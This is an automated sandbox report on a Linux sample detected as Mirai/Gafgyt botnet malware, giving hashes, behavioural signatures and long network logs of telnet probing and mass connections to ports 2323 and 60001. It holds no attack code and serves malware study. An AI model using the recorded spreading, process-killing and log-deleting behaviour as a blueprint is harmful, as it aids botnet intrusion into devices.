Linux Analysis Report nSg5RM0w0d

Overview

General Information

Sample Name:	nSg5RM0w0d
Analysis ID:	553468
MD5:	5ba84075b6789440e97cb6095ad55c32
SHA1:	19c16b64b5482561db39de26034459274b9dfb91
SHA256:	65222b0aa3c9aa64a92d8c4aa20e664ff6a7049c8b70dac73d85794407a32ded
Tags:	32elfmiraimotorola
Infos:

Detection

Gafgyt Mirai

Score:	100
Range:	0 - 100
Whitelisted:	false

Signatures

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Yara detected Mirai

Multi AV Scanner detection for submitted file

Yara detected Gafgyt

Connects to many ports of the same IP (likely port scanning)

Reads system files that contain records of logged in users

Uses known network protocols on non-standard ports

Sample tries to kill multiple processes (SIGKILL)

Sample reads /proc/mounts (often used for finding a writable filesystem)

Executes the "kill" or "pkill" command typically used to terminate processes

Reads CPU information from /sys indicative of miner or evasive malware

Yara signature match

Executes the "grep" command used to find patterns in files or piped streams

Reads system information from the proc file system

Uses the "uname" system call to query kernel version information (possible evasion)

Enumerates processes within the "proc" file system

Executes the "systemctl" command used for controlling the systemd system and service manager

Detected TCP or UDP traffic on non-standard ports

Sample listens on a socket

Sample tries to kill a process (SIGKILL)

Deletes log files

Creates hidden files and/or directories

Sample has stripped symbol table

Sample tries to set the executable flag

Executes commands using a shell command-line interpreter

Classification

Signatures

AV Detection:

Multi AV Scanner detection for submitted file

Source: nSg5RM0w0d

ReversingLabs: Detection: 55%

Bitcoin Miner:

Reads CPU information from /sys indicative of miner or evasive malware

Source: /usr/bin/pulseaudio (PID: 5386)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5492)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5661)	Reads CPU info from /sys: /sys/devices/system/cpu/online	Jump to behavior
Source: /usr/bin/pkill (PID: 5842)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 5948)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pkill (PID: 6019)	Reads CPU info from /sys: /sys/devices/system/cpu/online
Source: /usr/bin/pulseaudio (PID: 6041)	Reads CPU info from /sys: /sys/devices/system/cpu/online

Source: unknown	HTTPS traffic detected: 162.213.33.132:443 -> 192.168.2.23:35442 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36684 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36688 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36690 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36692 version: TLS 1.2
Source: unknown	HTTPS traffic detected: 162.213.33.108:443 -> 192.168.2.23:36694 version: TLS 1.2

Networking:

Snort IDS alert for network traffic (e.g. based on Emerging Threat rules)

Source: Traffic	Snort IDS: 716 INFO TELNET access 124.114.140.102:23 -> 192.168.2.23:55138
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.114.140.102:23 -> 192.168.2.23:55186
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.114.140.102:23 -> 192.168.2.23:55280
Source: Traffic	Snort IDS: 1251 INFO TELNET Bad Login 188.247.187.146:23 -> 192.168.2.23:36002
Source: Traffic	Snort IDS: 718 INFO TELNET login incorrect 188.247.187.146:23 -> 192.168.2.23:36002
Source: Traffic	Snort IDS: 716 INFO TELNET access 124.114.140.102:23 -> 192.168.2.23:55296
Source: Traffic	Snort IDS: 716 INFO TELNET access 41.180.146.95:23 -> 192.168.2.23:40958

Connects to many ports of the same IP (likely port scanning)

Source: global traffic

TCP traffic: 104.244.72.234 ports 64938,3,4,6,8,9

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37668 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 50466 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 39302 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43564 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 33276 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 37456 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51214 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 52794 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43354 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35978 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 51618 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35656 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 56348 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 49818 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 32850 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 53846 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 43140 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35206 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 35716 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 58528 -> 60001
Source: unknown	Network traffic detected: HTTP traffic on port 48776 -> 60001

Detected TCP or UDP traffic on non-standard ports

Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 53.140.253.164:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 105.18.136.120:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 47.199.200.41:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 163.140.24.2:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 72.100.199.25:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 68.140.167.253:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 115.116.75.75:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 76.20.70.153:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 79.43.68.114:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 37.207.197.71:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 38.21.173.197:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 141.51.98.209:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 52.92.182.71:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 53.237.190.244:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 19.209.45.78:2323
Source: global traffic	TCP traffic: 192.168.2.23:34070 -> 83.135.185.112:2323
Source: global traffic	TCP traffic: 192.168.2.23:48182 -> 104.244.72.234:64938
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 221.253.101.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 80.139.20.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.133.22.101:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.92.241.20:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 34.202.11.64:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 75.146.12.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 52.111.50.136:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 66.249.56.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 129.148.253.155:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 64.69.111.65:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 136.62.58.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.196.92.30:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 199.1.26.53:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.7.133.205:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 50.57.32.114:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 196.37.4.82:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 182.240.115.147:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.157.2.41:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.139.192.159:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 113.41.82.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 116.168.10.136:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 203.175.139.20:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 117.81.190.31:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 98.92.252.192:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 146.5.55.152:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.214.46.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 154.113.81.142:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 59.22.167.61:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 67.240.160.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.15.69.126:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 218.127.75.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 44.79.77.229:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 38.175.214.91:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.247.77.95:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 193.0.48.180:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 164.155.157.111:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 91.7.92.129:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.223.49.164:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 101.40.149.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 191.156.228.136:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 133.218.252.29:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 198.46.140.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 82.125.79.157:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 122.159.93.94:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 4.107.241.45:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 35.111.1.254:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 54.253.96.220:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 184.207.18.5:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 118.136.82.156:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.127.114.252:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 67.249.211.161:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.172.4.16:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 124.180.219.133:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.48.213.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 97.253.81.174:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 82.157.184.117:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 183.74.229.95:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.15.150.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 154.245.111.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 104.20.23.89:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 169.150.29.242:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 137.173.179.25:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 125.190.197.192:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 209.54.79.72:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 187.152.109.126:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 165.17.162.69:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 77.160.157.62:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.115.223.243:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 37.157.13.62:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 47.87.41.215:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 135.74.100.27:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 97.125.9.11:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 149.43.19.21:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 129.220.67.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.107.138.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 152.62.163.72:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 121.101.226.122:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 162.172.24.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.24.224.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 141.162.57.187:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 118.8.148.22:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 166.16.135.196:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 152.250.207.34:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 23.236.26.230:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 85.247.181.104:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 133.98.166.233:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 74.208.31.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 20.127.201.152:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 194.250.248.90:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 87.221.211.81:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 77.11.105.244:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 110.196.71.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 54.235.34.214:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 164.34.2.113:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 112.101.44.163:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 109.132.142.101:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 105.107.224.107:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 131.126.43.123:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 112.106.78.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 117.19.251.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 92.121.123.23:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 40.60.150.103:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 32.63.131.9:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 60.71.28.213:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 80.200.28.234:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 107.149.30.29:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 72.131.251.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 206.239.117.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.60.181.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 139.132.128.75:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 189.136.46.221:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 134.222.111.200:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 90.135.7.219:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 2.137.190.155:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 146.84.100.182:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 130.156.239.43:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 170.30.151.233:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 125.212.53.222:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 109.102.43.12:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 143.64.142.93:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 83.71.172.238:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.235.187.116:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 83.85.154.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.237.172.91:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 202.231.159.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 123.244.142.184:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 31.124.201.150:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 160.216.8.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 95.111.16.172:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 142.228.82.1:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 63.194.106.55:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 46.142.39.218:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.225.82.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 193.250.115.161:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.65.89.102:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 37.206.128.235:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 151.61.87.96:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.69.15.239:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 210.46.123.184:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 170.218.249.168:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 131.138.85.106:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 66.101.58.138:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 130.14.122.190:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.2.189.79:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 180.231.149.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 190.22.240.126:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 98.125.105.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 86.254.67.251:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 57.115.164.247:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 130.63.17.80:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 221.245.29.210:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 76.56.12.56:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 20.123.168.198:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 141.235.45.227:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.139.62.201:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 20.39.226.39:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.12.158.100:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 204.44.219.139:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 140.185.162.36:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 174.125.122.106:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 95.90.94.159:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 223.210.238.167:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 44.167.16.105:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 167.82.185.56:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 222.219.220.204:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 146.20.76.140:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 169.242.22.74:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 57.19.193.18:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 138.34.1.61:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 31.228.86.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 42.44.164.156:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 206.208.57.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.210.171.132:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 96.185.5.245:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 73.58.115.193:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 169.127.66.117:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 179.41.110.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 18.239.164.48:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 110.233.190.57:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 9.91.26.196:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 81.75.13.127:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 79.244.238.232:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 37.63.49.70:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 24.160.233.177:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 34.213.51.225:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 189.168.12.149:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 167.80.90.66:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 118.18.141.36:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 18.25.252.137:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 4.204.155.119:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 87.37.151.48:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 195.208.254.64:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 177.65.107.208:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 94.75.198.108:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 115.75.158.120:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 123.143.60.178:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 208.200.160.84:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 147.69.145.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 71.218.172.97:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 12.100.118.13:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 80.53.187.76:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 137.146.155.94:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 146.62.112.75:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 119.232.206.197:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 218.28.228.4:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 36.135.154.54:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 81.35.97.185:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 161.181.223.130:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 149.231.185.161:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 44.75.131.194:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 66.61.152.144:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 114.210.245.101:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 83.18.245.207:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 93.112.202.71:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 220.254.20.205:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 38.207.46.249:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 223.34.207.3:60001
Source: global traffic	TCP traffic: 192.168.2.23:34066 -> 139.213.143.103:60001
